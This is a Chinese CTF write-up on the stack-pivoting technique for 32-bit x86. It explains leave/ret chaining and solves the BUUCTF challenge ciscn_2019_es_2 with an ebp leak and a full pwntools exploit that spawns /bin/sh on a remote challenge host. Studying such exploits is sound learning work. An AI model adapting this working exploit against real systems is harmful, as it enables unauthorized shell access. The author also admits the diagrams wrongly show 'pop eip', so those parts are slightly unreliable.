栈迁移原理与应用

栈溢出

(stackoverflow)

当外界输入过长时,将超过局部变量(数组之类)的范围,造成数据溢出,覆盖了返回地址

栈溢出能使我们覆盖栈上的某些区域的值,甚至是当前函数的返回地址ret,覆盖了ret为一个合法的地址,就有可能实现攻击者想要执行的命令。

栈迁移是什么

要想完成栈溢出攻击,需要输入足够长,足以完成恶意指令的写入。有些情况下,输入长度受限制,填满缓冲区之后仅能容纳一个ret和一个ebp。

pop eip不合法(正常应该是:pop eax ,jmp eax,不用一定是eax),后面不再说,画流程图的时候没注意到,翻回去修改图上丢了很多东西,不重写了。

如图所示,当上层函数调用foo函数,即eip执行到call foo指令时,call指令以及foo函数开始的指令依次做了如下事情:

  • 牢记foo结束后应该从哪里继续执行(保存当前eip下面的位置到栈中,即ret)
  • 牢记上层函数的栈底位置(保存当前ebp的内容到栈中,即old ebp);
  • 牢记foo函数栈开始的位置(保存当前栈顶内容到ebp,便于foo函数栈内寻址)

以上三件事对应了上图右侧上两个方框中的汇编指令,当call foo指令执行完后,栈中的内容如下图左,之后程序就由foo函数接管了。

当foo函数执行结束时,eip即将执行leave和ret两条指令恢复现场,此时栈中内容如上图右所示。leave与ret指令所作的事情:

  • 清空当前函数栈以还原栈空间(直接移动栈顶指针esp到当前函数的栈底而ebp);
  • 还原栈底(将此时esp所指上层函数栈底old ebp弹入ebp寄存器中);
  • 还原执行流(将此时esp所指的上层函数调用foo时的地址弹入eip寄存器内);

这三步恰好是之前的逆过程。

在做回到调用者位置这件事时,栈顶指针的位置将完全由ebp寄存器的内容所控制(mov esp,ebp),而ebp寄存器的内容则可以由栈中的数据控制(pop ebp),由此,攻击者可以通过修改原old ebp内容,则能篡改ebp寄存器中的内容,从而(有可能)篡改esp进而控制eip。这一过程为栈迁移的思想。如下图

上文说(有可能),是因为leave所代表的子指令是有先后执行顺序的,即无法先执行pop ebp,再执行mov esp,ebp,无法先影响到ebp再影响esp。

但是,将栈上的ret部分覆盖为另一组leave ret指令(gadget)的地址,即程序会执行两次leave指令,一次ret指令。就可以先修改ebp再影响esp

1
2
3
4
5
6
7
8
9
10
11
第一次leave:
mov esp,ebp;
->pop ebp ;<-修改了ebp
第一次ret:
pop eip ;<-篡改了执行流执行下一次leave;ret
第二次leave:
->mov esp,ebp;<-影响了esp
pop ebp ;
一次ret:
->pop eip ;<-影响了eip

栈迁移过程

确定缓冲区变量在溢出时,至少能覆盖栈上的的ebp和ret。之后选取一段能执行提权的地址。

就像之前做过的题目设置是复制输入内容到bss段,然后payload就可以写shellcode再将返回地址覆盖为这个地址。

还是图解说的明白

寻找gadget(leava ret )地址,记该地址为LeaveRetAddr

设置缓冲区变量,使其将栈上的ebp覆盖为HijackAddr-4,将ret覆盖为LeaveRetAddr

执行程序至结束,会发生以下事情

  1. 执行指令:mov esp,ebp还原栈顶指针到当前栈底;此时esp指向栈上被篡改的ebp数据,即HijackAddr-4;
  2. 执行指令:pop ebp,将篡改的HijackAddr-4放入ebp寄存器内,此时esp上移,指向栈上被篡改的ret数据
  1. 执行指令: pop eip,将LeaveRetAddr放入eip寄存器内,篡改执行流,来执行第二次leave指令;
  2. 执行指令:mov esp,ebp,将HijackAddr-4移入esp寄存器内,即栈顶指针被骗到指向HijackAddr-4
  1. 执行指令:pop ebp ,ebp寄存器仍为HijackAddr-4,但esp上移四字节。指向HijackAddr
  1. 执行指令pop eip,将HijackAddr移入eip内,成功篡改执行流至shellcode区域

执行shellcode,完成攻击

例题

buuctf_ciscn_2019_es_2

查看保护和反汇编

checksec

32位堆栈不可执行
ida
main函数

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

vul函数

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

两次read可以输入
虽然有溢出但是余出的长度只有八字节。
在hack中有system函数,但是只是简单的输出flag字符串

1
2
3
4
int hack()
{
return system("echo flag");
}

如果能将/bin/sh作为参数调用system函数就能getshell了
这道题用栈迁移来解

解题过程

寻找gadget(leave_ret)

leave_ret_addr=0x080484b8
第一次read(我的意思是输入)用来泄露ebp的地址
printf当遇到\x00时才会停止输出,将下一处的终止符覆盖就可以打印出ebp的地址,就像覆盖泄露canary一样来泄露ebp的地址
还要说的是,栈也是有地址的,后面用gdb的时候会说哪里是栈的地址

1
2
3
4
paylaod1=b'a'*0x27+b'b'
io.send(paylaod1)#不能用sendline,会多输入一个'\n'
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4))

现在我们要确定s在栈上的位置,好在第二次read时对栈进行布局。
选择的是用ebp+偏移量的方法来表示s的地址
gdb调试
从其他师傅处得来的经验,选择在nop处下断点

上面的是ida的,当然也没有忘记gdb怎么用,也挺好用的

总之断点地址:0x080485fc
下断点后运行(r),第一次read时输入aaaa,终止(ctrl+c),查看栈(stack)

所说数据存储在栈上,栈也是有地址的,这个地址指向的才是数据,也有栈指向一个地址,这个地址指向数据的。
上图左侧黄颜色的就是栈的地址
计算s到ebp的偏移量

0x38字节,所以s地址:ebp-0x38
第二次paylaod的布局图(0x10=16)

payload2

1
2
3
4
5
leave_ret_addr=0x080484b8
system_addr=0x08048400
bin_sh_addr=ebp-0x38+0x10
payload2=(b'aaaa'+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp-0x38)+p32(leave_ret_addr)
#对于上面system后的aaaa,注意32位程序调用函数的顺序(参数、返回地址、函数)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',29270)
#io=process('./ciscn_2019_es_2')
leave_ret_addr=0x080484b8
system_addr=0x08048400
payload1=b'a'*0x27+b'b'
io.recvuntil('name?\n')
io.send(payload1)
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4))
print(hex(ebp_addr))
#s=ebp_addr-0x38
bin_sh_addr=ebp_addr-0x38+0x10
payload2=(b'aaaa'+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp_addr-0x38)+p32(leave_ret_addr)
io.sendline(payload2)
io.interactive()

总结

看文章要慢